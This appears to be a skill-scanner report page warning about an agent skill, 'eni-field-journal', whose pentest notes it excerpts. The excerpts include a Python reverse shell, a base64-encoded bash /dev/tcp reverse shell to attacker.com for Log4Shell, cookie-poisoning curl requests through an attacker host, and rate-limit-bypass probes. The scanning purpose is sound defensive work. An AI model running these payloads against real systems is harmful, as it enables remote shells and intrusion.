← All skills
eni-field-journal
55 / 100 · Review before installing
Check before installing.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · writing · 42 stars · scanned at commit 667b2db
[DOCUMENTATION ONLY] [仅文档] 全局自动路由 | Field Journal reference and tooling
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: api.certspotter.com, cross.{target_proxy_root}, {target}, {proxy}, {target_domain}
The author does not mention this.
Found in 34 places.
Show 17 more
- packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 35
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 42
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 50
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 65
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 78
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 81
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 84
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 91
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 95
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 101
curl "https://cross.{target_proxy_root}/?url=$ENC" - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 105
curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A' - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 112
async fetch(req) { - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 120
const up = await fetch(t, { - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 159
| `Invoke-WebRequest` (PS 5.1) | 处理 302 + 复杂头会抛 "Operation is not valid",**完全不可靠**,Web 渗透一律走 `curl` | - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 36
curl -k -s https://{target_domain}/api/status - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 37
curl -k -s https://{target_domain}/api/pricing - packed-packs/dsh/materials/skills/eni-field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 40
curl -k -s -o /dev/null -w "%{http_code}\n" \
and 14 more places
Runs commands on your computer
The author does not mention this.
Found in 6 places.
Show 3 more
- packed-packs/dsh/materials/skills/eni-field-journal/precedent-pentest.md, line 467
□ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproc - packed-packs/dsh/materials/skills/eni-field-journal/seed-012_log4shell-jndi-rce.md, line 41
| 漏洞触发但拿不到 shell | 命令含特殊字符在 Runtime.exec 被破坏 | 用 base64 编码包一层：`bash -c {echo,base64}|{base64,-d}|bash` | 30min | - packed-packs/dsh/materials/skills/eni-field-journal/seed-012_log4shell-jndi-rce.md, line 80
-C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash'
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 1 place.
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (writing) that look related. Check that one does what you need.
Other copies in this repository
longwangjiang88/SusuAIOverclock-pojia has 1 more folder with a skill named eni-field-journal. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'eni-field-journal' ] || [ -L ~/.agents/skills/'eni-field-journal' ]; then echo 'A skill folder named eni-field-journal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/dsh/materials/skills/eni-field-journal' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/dsh/materials/skills/eni-field-journal' ~/.agents/skills/'eni-field-journal' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'eni-field-journal' ~/.claude/skills/'eni-field-journal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 667b2db | 100 |